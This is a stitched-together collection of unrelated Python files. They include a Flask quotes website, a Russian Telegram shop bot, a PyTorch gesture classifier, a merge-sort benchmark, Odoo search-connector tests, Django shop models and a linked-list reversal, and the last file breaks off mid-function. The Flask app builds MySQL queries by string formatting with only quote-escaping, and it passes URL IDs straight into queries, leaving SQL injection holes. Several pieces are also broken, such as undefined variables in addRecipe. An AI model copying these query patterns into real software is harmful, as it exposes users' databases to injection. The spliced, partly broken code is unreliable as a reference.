	query = ("select * from quotes.quotes where private = 0 and remove is NULL having created_at > (DATE(NOW()) - INTERVAL 7 DAY) order by RAND() LIMIT 5;")
	cursor.execute(query)
	data = cursor.fetchall()
	# now process to xml:
	base_url = "http://quotes.stevearnett.com/"
	feed = AtomFeed('Recent Quotes', feed_url=str(base_url+"feed"), url=str(base_url))
	for quote in data:
		title = 'Ridiculous. Quotes. (#'+str(quote[0])+")"
		if quote[2]:
			quote_text = (str(quote[1])+str(" - ")+str(quote[2]))
			author = str(quote[2])
		else:
			author = ' '
			quote_text = str(quote[1])
		feed.add(unicode(title), unicode(quote_text),
				 content_type='html',
				 author=author,
				 id=quote[0],
				 url=("http://quotes.stevearnett.com/quote/"+str(quote[0])),
				 updated=quote[5])
	return feed.get_response()

@app.route('/feed/daily')
@app.route('/feed/daily/')
def rss_feed_random():
	#get data for rss feed:
	conn = mysql.connect()
	cursor = conn.cursor()
	query = ("select * from quotes.quotes where private = 0 and remove is NULL order by RAND() LIMIT 1;")
	cursor.execute(query)
	data = cursor.fetchall()
	# now process to xml:
	base_url = "http://quotes.stevearnett.com/"
	feed = AtomFeed('Random Quote', feed_url=str(base_url+"feed"), url=str(base_url))
	for quote in data:
		title = 'Ridiculous. Quotes. (#'+str(quote[0])+")"
		if quote[2]:
			quote_text = (str(quote[1])+str(" - ")+str(quote[2]))
			author = str(quote[2])
		else:
			author = ' '
			quote_text = str(quote[1])
		feed.add(unicode(title), unicode(quote_text),
				 content_type='html',
				 author=author,
				 id=quote[0],
				 url=("http://quotes.stevearnett.com/quote/"+str(quote[0])),
				 updated=(datetime.datetime.now())) # fool mailchimp into thinking this is new content
				 #updated=quote[5])
	return feed.get_response()

#write new quote to db
@app.route('/submitquote/<key>',methods=['POST','GET'])
def input(key=None):
	if key == upload_api_key:
		quote = None
		author = None
		private = None
		highdeas = None
		if request.method == 'POST':
			quote, author, private, highdeas = request.form['quoteText'], request.form['quoteAuthor'], request.form['quotePrivate'], request.form['quoteHigh']
			conn = mysql.connect()
			cursor = conn.cursor()
			query = ("insert into quotes (quote,name,private,highdeas) values ('%s', '%s', '%s', '%s');") % (quote.replace("'", "\\'"), author.replace("'", "\\'"), private, highdeas)
			cursor.execute(query)
			conn.commit()
			return(redirect(url_for('recent'), code=302))
	else:
		data=[('404','"Something broke."',"Webserver")]
		return render_template('recent.html',key=key)

#submit a new quote
@app.route('/submit/<key>')
def new_quote(key=None):
	if key == upload_api_key:
		#session['logged_in'] = True
		return render_template('add_quote.html',key=upload_api_key)
	else:
		data=[('404','"Something broke."',"Webserver")]

#edit the text/author/darkside of a quote
#@app.route('/edit/<quoteID>',methods=['POST','PUT','GET'])
def edit_quote(quoteID=None):
	if session.get('logged_in'):
		if session['logged_in'] == True:
			auth=True
			if request.method == 'POST':
				quote, author, private = request.form['quoteText'], request.form['quoteAuthor'], request.form['quotePrivate']
				conn = mysql.connect()
				cursor = conn.cursor()
				query = ("update quotes.quotes set quote='%s', name='%s', private='%s' where id = '%s';") % (quote.replace("'", "\\'"), author.replace("'", "\\'"), private, quoteID)
				cursor.execute(query)
				conn.commit()
				return redirect("/quote/"+quoteID, code=302)
			else:
				if quoteID:
					conn = mysql.connect()
					cursor = conn.cursor()
					query = ("select * from quotes.quotes where id = '%s' LIMIT 1;") % str(quoteID)
					cursor.execute(query)
					data = cursor.fetchall()
					return render_template('edit_quote.html',data=data,auth=auth)
	else:
		data=[('404','"Something broke."',"Webserver")]
		return render_template('recent.html',data=data)

@app.route('/all')
def index():
	#use this if adding in search features
	search = False
	q = request.args.get('q')
	if q:
		search = True

	page = request.args.get('page', type=int, default=1)

	if page == 1:
		per_page = 1
	else:
		per_page = 10

	conn = mysql.connect()
	cursor = conn.cursor()
	query = ("select * from quotes.quotes where private = 0 and remove is NULL ORDER BY id ASC LIMIT 10 OFFSET %s;") % (int(page)*int(per_page)-1)
	cursor.execute(query)
	data = cursor.fetchall()

	total=cursor.rowcount

	#page=request.args.get('page')
	#if not page:
	#	page = 1

	pagination = Pagination(page=page, total=total, search=search)#, record_name='quotes')
	return render_template('viewall.html',
						   data=data,
						   pagination=pagination,
						   page=page
						   )

@app.route("/darkside")
@app.route("/darkside/")
@app.route("/darkside/<quoteID>")
def darkside(quoteID=None):
	if quoteID:
		conn = mysql.connect()
		cursor = conn.cursor()
		query = ("select * from quotes.quotes where private = 1 AND id = '%s' and remove is NULL LIMIT 1;") % str(quoteID)
		cursor.execute(query)
		data = cursor.fetchall()
	else:
		conn = mysql.connect()
		cursor = conn.cursor()
		query = ("select * from quotes.quotes where private = 1 and remove is NULL order by id DESC;")
		cursor.execute(query)
		data = cursor.fetchall()
	return render_template('recent.html',data=data,darkside=True)

@app.route('/quote/<quoteID>')
def singleQuote(quoteID=None):
	darkside=False
	if quoteID:
		darkside=False
		conn = mysql.connect()
		cursor = conn.cursor()
		query = ("select * from quotes.quotes where private = '0' and remove is NULL and id = '%s' LIMIT 1;") % str(quoteID)
		#if session.get('logged_in'):
		#	if session['logged_in'] == True:
		#		auth=True
		#		darkside=True
		#		query = ("select * from quotes.quotes where id = '%s' and remove is NULL LIMIT 1;") % str(quoteID)
		cursor.execute(query)
		data = cursor.fetchall()
		return render_template('recent.html',data=(data),darkside=False)

@app.route("/submitQuote")
def submitQuote():
	return render_template('add_quote.html')

@app.route("/thanks")
def thanks():
	return render_template('thanks.html')

@app.route("/recent")
def recent():
	conn = mysql.connect()
	cursor = conn.cursor()
	query = ("select * from quotes.quotes where private = 0 and remove is NULL order by id DESC limit 10;")
	cursor.execute(query)
	data = cursor.fetchall()

	return render_template('recent.html',data=(data))

@app.route("/author/<name>")
def author(name=None):
	if name:
		name = name.replace("'", "\\'")
		try:
			conn = mysql.connect()
			cursor = conn.cursor()
			query = ("select * from quotes.quotes q where private = 0 and name like '%s' and remove is NULL order by id DESC;") % name
			cursor.execute(query)
			data = cursor.fetchall()

			return render_template('recent.html',data=(data))
		except:
			data=[('404','"Something broke."',"Webserver")]
			return render_template('recent.html',data=data)

@app.route('/search/<q>',methods=['GET','POST'])
@app.route('/search/',methods=['GET','POST'])
def search_v2(q=None,darkside=False):
	try:
		if request.method == 'POST': #request.method == 'POST' or
			if q == None:
				searchString = request.form['q']
			else:
				searchString = q
			searchString = searchString.replace("'", "\\'")
			conn = mysql.connect()
			cursor = conn.cursor()
			query = ("SELECT * FROM quotes.quotes WHERE private = 0 and remove is NULL and MATCH(quote) AGAINST('%s*' IN BOOLEAN MODE) ORDER BY MATCH(quote) AGAINST('%s*') DESC;") % (searchString,searchString)
			cursor.execute(query)
			data = cursor.fetchall()
			if data:
				return render_template('recent.html',data=(data))
			else:
				data=[('','"No results."',"Webserver")]
				return render_template('recent.html',data=data)
		elif request.method == 'GET':
			try:
				if q == None:
					searchString = request.args.get('q')
				else:
					searchString = q
				searchString = searchString.replace("'", "\\'")
				conn = mysql.connect()
				cursor = conn.cursor()
				try:
					darkside = request.args.get('darkside')
				except:
					darkside = False
				if darkside == 'True' or darkside == 'true':
					private = 1
				else:
					private = 0

				query = ("SELECT * FROM quotes.quotes WHERE private = '%s' and remove is NULL and MATCH(quote) AGAINST('%s*' IN BOOLEAN MODE) ORDER BY MATCH(quote) AGAINST('%s*') DESC;") % (private,searchString,searchString)

				cursor.execute(query)
				data = cursor.fetchall()
				if data:
					return render_template('recent.html',data=(data))
				else:
					data=[('','"No results."',"Webserver")]
					return render_template('recent.html',data=data)
			except:
				return render_template('search.html')
	except:
		return render_template('search.html')
	return render_template('search.html')

@app.route('/')
@app.route("/random")
@app.route("/random/")
def random():
	conn = mysql.connect()
	cursor = conn.cursor()
	query = ("select * from quotes.quotes where private = 0 and remove is NULL ORDER BY RAND() limit 1;")
	cursor.execute(query)
	data = cursor.fetchall()

	return render_template('recent.html',data=(data))

#@app.route('/addQuote',methods=['POST','GET']) # for future api?
@app.route('/addQuote')
def addRecipe(): # read the posted values from the UI
	_quote = request.form['quoteText']
	_author = request.form['quoteAuthor']

	# validate the received values
	if _title and _description and _contributor:
		conn = mysql.connect()
		cursor = conn.cursor()
		cursor.callproc('sp_createQuote',(_title,_description,_contributor))
		data = cursor.fetchall()
		if len(data) is 0:
			conn.commit()
			#return json.dumps({'html':'All fields good !!'})
			main()
			return redirect(url_for('thanks'))
		else:
			return json.dumps({'error':str(data[0])})
	else:
		return json.dumps({'html':'Enter the required fields'})

@app.route("/highdeas")
@app.route("/highdeas/")
@app.route("/highdeas/<quoteID>")
def highdeas(quoteID=None):
	if quoteID:
		conn = mysql.connect()
		cursor = conn.cursor()
		query = ("select * from quotes.quotes where highdeas = 1 AND id = '%s' and remove is NULL LIMIT 1;") % str(quoteID)
		cursor.execute(query)
		data = cursor.fetchall()
	else:
		conn = mysql.connect()
		cursor = conn.cursor()
		query = ("select * from quotes.quotes where highdeas = 1 and remove is NULL order by id DESC;")
		cursor.execute(query)
		data = cursor.fetchall()
	return render_template('recent.html',data=data,darkside=True)

@app.errorhandler(404)
def not_found(error):
	#to use, call: abort(404)
	data=[('404','"Something broke."',"Webserver")]
	return render_template('recent.html',data=data)
	#return make_response(jsonify({'error': 'Not found'}), 404)

if __name__ == "__main__":
	#app.debug = True
	#app.secret_key = upload_api_key
	app.run(host='0.0.0.0', port=5000)


import asyncio
from aiogram import types
from aiogram.dispatcher import FSMContext

from states import Form
from loader import dp, bot
from messages import MESSAGES
from utils import NewsParser, make_post_message
from keyboards import choose_technic_keyboard, choose_city_keyboard, manager_keyboard

@dp.message_handler(lambda msg: msg.text == '💡Что нового')
async def send_news(message: types.Message):
    np = NewsParser()
    news = np.get_news()
    for n in news:
        post = make_post_message(n)
        await bot.send_photo(
            message.chat.id,
            post['img'],
            post['text'],
            reply_markup=post['keyboard']
        )
        await asyncio.sleep(0.1)

@dp.message_handler(lambda msg: msg.text == '⭐Акции')
async def send_sales(message: types.Message):
    np = NewsParser()
    news = np.get_sales()
    for n in news:
        post = make_post_message(n)
        await bot.send_photo(
            message.chat.id,
            post['img'],
            post['text'],
            reply_markup=post['keyboard']
        )
        await asyncio.sleep(0.1)

@dp.message_handler(lambda msg: msg.text == '🗓Мероприятия')
async def send_sales(message: types.Message):
    np = NewsParser()
    events = np.get_events()
    for e in events:
        post = make_post_message(e)
        await bot.send_photo(
            message.chat.id,
            post['img'],
            post['text'],
            reply_markup=post['keyboard']
        )
        await asyncio.sleep(0.1)

@dp.message_handler(lambda msg: msg.text == '⚙Найти запчасть')
async def set_part_mark(message: types.Message, state: FSMContext):
    await state.set_state(Form.part_mark)
    await bot.send_message(message.chat.id, MESSAGES['set_part_mark'])

@dp.message_handler(lambda msg: msg.text == '🏍Купить технику')
async def buy_technic(message: types.Message):
    np = NewsParser()
    tech = np.get_tech()
    post = tech['main']
    await bot.send_photo(
        message.chat.id,
        post['img'],
        post['content'],
        reply_markup=choose_technic_keyboard
    )

@dp.message_handler(lambda msg: msg.text == '📍Контакты салонов')
async def show_address(message: types.Message):
    await bot.send_message(message.chat.id, MESSAGES['choose_city'], reply_markup=choose_city_keyboard)

@dp.message_handler(lambda msg: msg.text == '🙋🏻♂Задать вопрос сотруднику')
async def show_address(message: types.Message):
    await bot.send_message(message.chat.id, MESSAGES['call_manager'], reply_markup=manager_keyboard)


import numpy as np
import time
import torch
import torchsummary
# import keras
# from keras.models import load_model

class Softmax_layer(torch.nn.Module):
    def __init__(self):
        super().__init__()

    def forward(self, x):
        e = torch.exp(x - x.max(1, True)[0] )
        summ = e.sum(1, True)[0]
        return e / summ

class Flatten(torch.nn.Module):
    def forward(self, x):
        N = x.shape[0]
        return x.view(N, -1)

class GestureRecognizer():
    ###
    ### Not implemented yet
    ###
    def __init__(self, device='cpu'):
        # self.model = load_model('./model_072accReal.h5')
        self.device =device
        self.conv_net = torch.nn.Sequential(torch.nn.Conv2d(in_channels=1, out_channels=64, kernel_size=3, stride=2, padding=1),
                               torch.nn.ReLU(),
#                                torch.nn.Dropout2d(0.2),

                               torch.nn.BatchNorm2d(64),
                               torch.nn.Conv2d(64, 128, 3, stride=2, padding=1),
                               torch.nn.ReLU(),

#                                torch.nn.BatchNorm2d(128),
                               torch.nn.Conv2d(128, 128, 3, stride=2, padding=1),
                               torch.nn.ReLU(),

                               torch.nn.BatchNorm2d(128),
                               torch.nn.Conv2d(128, 256, 3, stride=2, padding=1),
                               torch.nn.ReLU(),

#                                torch.nn.BatchNorm2d(256),
                               torch.nn.Conv2d(256, 512, 3, stride=2, padding=1),
                               torch.nn.ReLU(),
#                                torch.nn.Dropout2d(0.2),

                               Flatten(),
                               torch.nn.Linear(512*2*2, 128),
                               torch.nn.ReLU(),
                               torch.nn.Linear(128, 6),
                               Softmax_layer()\
                              )
#         self.conv_net = torch.nn.Sequential(torch.nn.Conv2d(in_channels=1, out_channels=32, kernel_size=3, stride=2, padding=1),
#                                torch.nn.LeakyReLU(),
#                                torch.nn.BatchNorm2d(32),
# #                                torch.nn.Dropout2d(0.3),

#                                torch.nn.Conv2d(32, 64, 3, stride=2, padding=1),
#                                torch.nn.LeakyReLU(),
#                                torch.nn.BatchNorm2d(64),
# #                                torch.nn.Dropout2d(0.3),

# #                                torch.nn.MaxPool2d(3, 2, 1),

#                                torch.nn.Conv2d(64, 128, 3, stride=2, padding=1),
#                                torch.nn.LeakyReLU(),
#                                torch.nn.BatchNorm2d(128),

#                                torch.nn.Conv2d(128, 256, 3, stride=2, padding=1),
#                                torch.nn.LeakyReLU(),
#                                torch.nn.BatchNorm2d(256),

#                                torch.nn.Conv2d(256, 512, 3, stride=2, padding=1),
#                                torch.nn.LeakyReLU(),
# #                                torch.nn.BatchNorm2d(512),

#                                Flatten(),
#                                torch.nn.Linear(512*2*2, 10),
#                                Softmax_layer()\
#                               )

        print(torchsummary.summary(self.conv_net, (1, 64, 64)))
        PATH = 'trained_net_2dset_63per.pt'
        # PATH = 'trained_net_2dset_73.pt'
        self.conv_net.load_state_dict(torch.load(PATH))

    def predict(self, frame):
        ###
        ### Not implemented yet
        ###
        number = 0
        self.conv_net.eval()
        self.conv_net.to(self.device)

        # frame = np.transpose(frame, (2, 0, 1))
        frame = np.expand_dims(frame, 0)
        frame = np.expand_dims(frame, 0)
        frame = torch.FloatTensor(frame)
        frame = frame.to(self.device)

        # probs = self.model.predict(frame)
        # print(np.ravel(probs))
        # number = np.argmax(np.ravel(probs))
        # print(number)

        postures = ['A', 'B', 'C', 'Five', 'V', 'Point']

        with torch.no_grad():
            probs = self.conv_net(frame)[0]
            number = torch.argmax(probs).numpy()
            number = postures[number]
            print(torch.argmax(probs))
            print(probs)

        return number


from licz_czas import licz_czas
from tablice.los_pos import losowa_posortowana
from tablice.los_niepos import losowa_nieposortowana
from tablice.los_pos_odwrotnie import losowa_odwrotnie_posortowana

def merge_sort(A):
    if len(A) > 1:
        mid = len(A) // 2

        left = A[:mid]
        right = A[mid:]

        merge_sort(left)
        merge_sort(right)

        i =  0
        j = 0
        k = 0

        while i < len(left) and j < len(right):
            if left[i] < right[j]:
                A[k] = left[i]
                i += 1
            else:
                A[k] = right[j]
                j += 1
            k += 1

        while i < len(left):
            A[k] = left[i]
            i += 1
            k += 1

        while j < len(right):
            A[k] = right[j]
            j += 1
            k += 1

# tab = [7, 13, 24, 1, 5, 18, 9]

# merge_sort(tab)
# print(tab)

los_niepos = licz_czas(merge_sort, losowa_nieposortowana)

print("Czas wykonania (losowa nieposortowana): ", los_niepos)

los_pos = licz_czas(merge_sort, losowa_posortowana)

print("Czas wykonania (losowa posortowana): ", los_pos)

los_odwrotnie = licz_czas(merge_sort, losowa_odwrotnie_posortowana)

print("Czas wykonania (losowa odwrotnie posortowana): ", los_odwrotnie)


import json
import os

from odoo.addons.connector_algolia.components.adapter import AlgoliaAdapter
from odoo.addons.connector_search_engine.tests.test_all import TestBindingIndexBase
from odoo.addons.shopinvader.tests.common import _install_lang_odoo

try:
    from vcr_unittest import VCRMixin
except ImportError:
    VCRMixin = None

class TestAlgoliaBackend(VCRMixin, TestBindingIndexBase):
    @classmethod
    def setUpClass(cls):
        super(TestAlgoliaBackend, cls).setUpClass()
        AlgoliaAdapter._build_component(cls._components_registry)
        cls.backend_specific = cls.env.ref("connector_algolia.se_algolia_demo")
        cls.backend = cls.backend_specific.se_backend_id
        cls.backend_specific.algolia_app_id = os.environ.get(
            "ALGOLIA_APP_ID", "FAKE_APP"
        )
        cls.backend_specific.algolia_api_key = os.environ.get(
            "ALGOLIA_API_KEY", "FAKE_KEY"
        )
        cls.shopinvader_backend = cls.env.ref("shopinvader.backend_1")
        cls.shopinvader_backend.bind_all_product()
        cls.shopinvader_backend.bind_all_category()
        cls.index_product = cls.env.ref("shopinvader_algolia.index_1")
        cls.index_categ = cls.env.ref("shopinvader_algolia.index_2")

    def _get_vcr_kwargs(self, **kwargs):
        return {
            "record_mode": "once",
            "match_on": ["method", "path", "query"],
            "filter_headers": ["Authorization"],
            "decode_compressed_response": True,
        }

    def setUp(self):
        super(TestAlgoliaBackend, self).setUp()
        if self.vcr_enabled:
            # TODO we should discuss about this
            # @laurent @simone @guewen
            # testing what we have in self.cassette.request
            # is maybe not a good idea as the contain tested is the
            # recorded contain and not the request done
            # this hack give store the real request in requests
            # maybe we should propose such helper in vcr-unitest?
            self.requests = []
            original = self.cassette.play_response

            def play_response(request):
                self.requests.append(request)
                return original(request)

            self.cassette.play_response = play_response

    def test_10_export_one_product(self):
        product = self.env.ref("product.product_product_3_product_template")
        si_variant = product.shopinvader_bind_ids[0].shopinvader_variant_ids[0]
        si_variant.recompute_json()
        si_variant.synchronize()
        self.assertEqual(len(self.requests), 1)
        request = self.requests[0]
        self.assertEqual(request.method, "POST")
        self.assertEqual(
            self.parse_path(request.uri),
            "/1/indexes/demo_algolia_backend_shopinvader_variant_en_US/batch",
        )
        request_data = json.loads(request.body.decode("utf-8"))["requests"]
        self.assertEqual(len(request_data), 1)
        self.assertEqual(request_data[0]["action"], "updateObject")
        self.assertEqual(request_data[0]["body"], si_variant.data)

    def test_20_recompute_all_products(self):
        bindings = self.env["shopinvader.variant"].search([])
        bindings.write({"data": {}})
        self.index_product.recompute_all_binding()
        for binding in bindings:
            self.assertEqual(binding.data["objectID"], binding.record_id.id)

    def _test_export_all_binding(self, index):
        index.recompute_all_binding()
        index.batch_export()
        binding_nbr = self.env[index.model_id.model].search_count([])

        self.assertEqual(len(self.requests), 1)
        request = self.requests[0]
        self.assertEqual(request.method, "POST")
        self.assertEqual(
            self.parse_path(request.uri), "/1/indexes/%s/batch" % index.name
        )
        request_data = json.loads(request.body.decode("utf-8"))["requests"]
        self.assertEqual(
            len(request_data), binding_nbr, "All bindings should be exported"
        )
        self.assertEqual(request_data[0]["action"], "updateObject")

    def test_20_export_all_products(self):
        self._test_export_all_binding(self.index_product)

    def test_30_export_all_categories(self):
        self._test_export_all_binding(self.index_categ)

    def test_facet_settings(self):
        _install_lang_odoo(self.env, "base.lang_fr")
        filter1 = self.env.ref("shopinvader.product_filter_1")
        filter2 = self.env.ref("shopinvader.product_filter_2")
        attr1 = filter1.variant_attribute_id
        attr2 = filter2.variant_attribute_id
        attr1.with_context(lang="fr_FR").name = attr1.name + " FR"
        attr2.with_context(lang="fr_FR").name = attr2.name + " FR"
        self.shopinvader_backend.filter_ids = filter1 + filter2
        settings_en = self.env["shopinvader.variant"]._get_facetting_values(
            self.backend, self.env.ref("base.lang_en")
        )
        settings_fr = self.env["shopinvader.variant"]._get_facetting_values(
            self.backend, self.env.ref("base.lang_fr")
        )
        self.assertEqual(
            settings_en,
            [
                "categories.id",
                "Categories.lvl0hierarchical",
                "Categories.lvl1hierarchical",
                "Categories.lvl2hierarchical",
                "main",
                "redirect_url_key",
                "url_key",
                "sku",
                "price.default.value",
                "variant_attributes.legs",
                "variant_attributes.color",
            ],
        )
        self.assertEqual(
            settings_fr,
            [
                "categories.id",
                "Categories.lvl0hierarchical",
                "Categories.lvl1hierarchical",
                "Categories.lvl2hierarchical",
                "main",
                "redirect_url_key",
                "url_key",
                "sku",
                "price.default.value",
                "variant_attributes.legs_fr",
                "variant_attributes.color_fr",
            ],
        )


from unicodedata import category
from django.db import models
from django.contrib.auth.models import User
from django.dispatch import receiver
from .make_slug import unique_slug_generator
from django.db.models.signals import pre_save
# Create your models here.

class Profile(models.Model):
    user = models.OneToOneField(User, on_delete=models.CASCADE)
    forget_password_token = models.CharField(max_length=100)
    auth_token = models.CharField(max_length=100)
    is_verified = models.BooleanField(default=False)
    created_at = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return self.user.username

class FeatureProduct(models.Model):
    product_id=models.AutoField
    product_name=models.CharField(max_length=50)
    desc=models.CharField(max_length=300)
    price = models.IntegerField()
    image = models.ImageField(upload_to='product',default="")

    def __str__(self):
        return self.product_name

class Category(models.Model):
    slug = models.SlugField(max_length=150, null = True,blank = True, unique= True)
    name = models.CharField(max_length=150, null = False,blank = False)
    image = models.ImageField(upload_to='category',default="")
    description = models.TextField(max_length=250, null = False,blank = False)
    status = models.BooleanField(default=False, help_text="0=default, 1=Hidden")
    def __str__(self):
        return self.name

@receiver(pre_save, sender=Category)
def pre_save_receiver(sender, instance, *args, **kwargs):
     if not instance.slug:
	     instance.slug = unique_slug_generator(instance)

class Product(models.Model):
    category = models.ForeignKey(Category, on_delete=models.CASCADE)
    slug = models.SlugField(max_length=150, null = True,blank = True, unique= True)
    name = models.CharField(max_length=150, null = False,blank = False)
    product_image = models.ImageField(upload_to='cat_product',default="")
    small_description = models.CharField(max_length=250, null=False, blank=False)
    quantity = models.IntegerField(null = False,blank = False)
    description = models.TextField(max_length=500, null = False,blank = False)
    status = models.BooleanField(default=False, help_text="0=default, 1=Hidden")
    trending = models.BooleanField(default=False, help_text="0=default, 1=Trending")
    new_arrival = models.BooleanField(default=False, help_text="0=default, 1=NEW")
    price = models.IntegerField()
    def __str__(self):
        return self.name
@receiver(pre_save, sender=Product)
def pre_save_receiver(sender, instance, *args, **kwargs):
     if not instance.slug:
	     instance.slug = unique_slug_generator(instance)

class Cart(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    product = models.ForeignKey(Product, on_delete=models.CASCADE)
    product_qty = models.IntegerField(null=False, blank=False)

# class Order(models.Model):
#     user = models.ForeignKey(User, on_delete=models.CASCADE)
#     fname = models.CharField(max_length=150, null=False)
#     lname = models.CharField(max_length=150, null=False)
#     email = models.CharField(max_length=150, null=False)
#     phone = models.CharField(max_length=150, null=False)
#     address = models.TextField(null=False)
#     city = models.CharField(max_length=150, null=False)
#     country = models.CharField(max_length=150, null=False)
#     total_price = models.FloatField(null=False)
#     payment_mode = models.CharField(max_length = 150, null = False)
#     payment_id = models.CharField(max_length=250, null = True)
#     status = models.CharField(max_length =150, choices =)


def main():
    f = open("macros-cache.txt", "r")
    newtext = ''
    for line in f.read().splitlines():
        if '/in' in line and '/e' not in line:
            editing = line.split()
            for word in editing:
                if word == '/in':
                    editing.insert(editing.index(word)+2,'/e')
            line = ' '.join([word for word in editing])
        print(line)
        newtext += line + '\n'
    f = open("macros-cache.txt", "w")
    f.write(newtext)
    f.close()

if __name__ == '__main__':
    main()


# Linked List Reverse

# Def linked List
class Node:
    def __init__(self, data, next=None):
        self.data = data
        self.next = next

# Idea: Use 2 pointers(head, body) to do iteration, move forward
#       Start from the head, body as head.next, use a additional pointer Tail to store body.next
#       In each iteration, update the head and body pointer, to move forward

    def LinkedList_Reverse(root):
        # Set root as head
        head = root
        # Use body to store head.next
        body = head.next
        # Set head.next to None (Put head to the end of the list)
        head.next = None
        # Iterate through the List
        while body:
            # Use tail to store body.next
            tail = body.next
            # Put body to the place before head(root), second last element
            body.next = head
            # Move head and body one step forward
            head = body
            body = tail
        return head


from ..profiler import Timer,Profiler

import logging
logger = logging.getLogger(__name__)

# zero approximation to avoid zero division exception
APPROX_ZERO = 0.000001

def safe_division(dividend, divisor):
    """Safe division of dividend by operand
    :param number dividend: upper operand of the division
    :param number divisor: lower operand of the division, may be zero
    :return: safe value after division of approximated zero
    """
    try:
        return dividend / divisor
    except (ZeroDivisionError, ValueError):
        return dividend / APPROX_ZERO
    except OverflowError:
        logger.info(f"Overflow error when computing {dividend} / {divisor}, returning an integer instead of a float")
        return dividend // divisor

class Statistic:
    """General computation stats."""

    # parameters
    status_period = 3
    print_profiling = False

    def __init__(self, sketch, synthesizer):

        self.synthesizer = synthesizer
        self.sketch = sketch

        self.iterations_dtmc = 0
        self.acc_size_dtmc = 0
        self.avg_size_dtmc = 0

        self.acc_conflicts = [0 for _ in range(sketch.design_space.num_holes +1)]
        self.avg_conflict_size = 0
        self.cegis_sat_members = 0
        self.cegis_unsat_members = 0

        self.iterations_mdp = 0
        self.acc_size_mdp = 0
        self.avg_size_mdp = 0

        self.acc_decided_families = 0
        self.acc_decided_families_size = 0
        self.avg_decided_families_size = 0
        self.ar_unsat_members = 0
        self.ar_sat_members = 0

        self.feasible = None
        self.assignment = None

        self.synthesis_time = Timer()
        self.status_horizon = Statistic.status_period

    def start(self):
        self.synthesis_time.start()

    def iteration_dtmc(self, size_dtmc):
        self.iterations_dtmc += 1
        self.acc_size_dtmc += size_dtmc
        self.print_status()

    def iteration_mdp(self, size_mdp):
        self.iterations_mdp += 1
        self.acc_size_mdp += size_mdp
        self.print_status()

    def add_conflict(self, conflict):
        self.acc_conflicts[len(conflict)] += 1

    def add_decided_family(self, family, feasible):
        self.acc_decided_families += 1
        self.acc_decided_families_size += family.size
        if feasible:
            self.ar_sat_members += family.size
        else:
            self.ar_unsat_members += family.size

    def add_dtmc_sat_result(self, sat):
        if sat:
            self.cegis_sat_members += 1
        else:
            self.cegis_unsat_members += 1

    def status(self):
        fraction_rejected = (self.synthesizer.explored + self.synthesizer.sketch.quotient.discarded) / self.sketch.design_space.size
        time_estimate = safe_division(self.synthesis_time.read(), fraction_rejected)
        percentage_rejected = int(fraction_rejected * 1000000) / 10000.0
        # percentage_rejected = fraction_rejected * 100
        time_elapsed = round(self.synthesis_time.read(),1)
        time_estimate = round(time_estimate,1)
        iters = (self.iterations_mdp,self.iterations_dtmc)
        avg_size_mdp = safe_division(self.acc_size_mdp, self.iterations_mdp)

        # sat_size = "-"
        # ds = self.synthesizer.sketch.design_space
        # if ds.use_cvc:
        #     sat_size = len(ds.solver.getAssertions())
        # elif ds.use_python_z3:
        #     sat_size = len(ds.solver.assertions())

        return f"> Progress {percentage_rejected}%, elapsed {time_elapsed} s, iters = {iters}"

    def print_status(self):
        if not self.synthesis_time.read() > self.status_horizon:
            return

        if Statistic.print_profiling:
            Profiler.print_all()
        print(self.status(), flush=True)
        self.status_horizon += Statistic.status_period

    def finished(self, assignment):

        self.synthesis_time.stop()
        self.feasible = False
        self.assignment = None
        if assignment is not None:
            self.feasible = True
            self.assignment = str(assignment)

        self.avg_size_dtmc = safe_division(self.acc_size_dtmc, self.iterations_dtmc)
        self.avg_size_mdp = safe_division(self.acc_size_mdp, self.iterations_mdp)
        self.avg_conflict_size = safe_division(sum([i*k for i,k in enumerate(self.acc_conflicts)]), sum(self.acc_conflicts))
        self.avg_decided_families_size = safe_division(self.acc_decided_families_size, self.acc_decided_families)

    def get_summary(self):
        spec = self.sketch.specification
        specification = "\n".join([f"constraint {i + 1}: {str(f)}" for i,f in enumerate(spec.constraints)]) + "\n" \
                        + f"Optimality objective: {spec.optimality}\n Scheduler Hyperoptimality objective: {spec.sched_hyperoptimality}\n"
        disjoint_indexes = f" Indexes of formulae in OR relation with each other: {spec.disjoint_indexes}\n"

        fraction_explored = int((self.synthesizer.explored / self.sketch.design_space.size) * 100)
        explored = f"explored: {fraction_explored} %"

        super_quotient_states = self.sketch.quotient.quotient_mdp.nr_states
        super_quotient_actions = self.sketch.quotient.quotient_mdp.nr_choices

        cegis_sat_stats = f"CEGIS Sat members found: {self.cegis_sat_members}, CEGIS Unsat Members found: {self.cegis_unsat_members}"
        ar_sat_stats = f"AR Sat members found: {self.ar_sat_members}, AR Unsat Members found: {self.ar_unsat_members}"

        design_space = f"number of holes: {self.sketch.design_space.num_holes}, family size: {self.sketch.design_space.size}, " \
                       f"super quotient: {super_quotient_states} states / {super_quotient_actions} actions "
        timing = f"method: {self.synthesizer.method_name}, synthesis time: {round(self.synthesis_time.time, 2)} s"

        family_stats = ""
        ar_stats = f"AR stats: avg MDP size: {round(self.avg_size_mdp)}, iterations: {self.iterations_mdp}" \
                   f", decided families: {self.acc_decided_families}, average decided families size: {self.avg_decided_families_size}" \
                   f", {ar_sat_stats}"
        conflict_stats = ";\n".join([ f"{counter} conflicts of size {i}" for i, counter in enumerate (self.acc_conflicts)])
        cegis_stats = f"CEGIS stats: avg DTMC size: {round(self.avg_size_dtmc)}, iterations: {self.iterations_dtmc}" \
                      f", conflicts: {sum(self.acc_conflicts)}, average conflict size: {self.avg_conflict_size}\n" \
                      f"{conflict_stats},\n {cegis_sat_stats}"

        if self.iterations_mdp > 0:
            family_stats += f"{ar_stats}\n"
        if self.iterations_dtmc > 0:
            family_stats += f"{cegis_stats}\n"

        feasible = "yes" if self.feasible else "no"
        result = f"feasible: {feasible}"
        # assignment = f"hole assignment: {str(self.assignment)}\n" if self.assignment else ""
        assignment = ""

        sep = "--------------------\n"
        summary = f"{sep}Synthesis summary\n" \
                f"{specification}{disjoint_indexes}\n{timing}\n{design_space}\n{explored}\n" \
                f"{family_stats}\n{result}\n{assignment}" \
                f"{sep}"
        return summary

    def print(self):
        if Statistic.print_profiling:
            Profiler.print_all()
        print(self.get_summary())


from odoo import models, fields, api, _
from odoo.exceptions import UserError, ValidationError
from odoo.osv.osv import osv
from odoo.tools.float_utils import float_compare, float_is_zero, float_round

class StockPickingInharit(models.Model):
    _inherit = 'stock.picking'

    @api.onchange('commercial_invoice')
    def onchange_commercial_invoice(self):
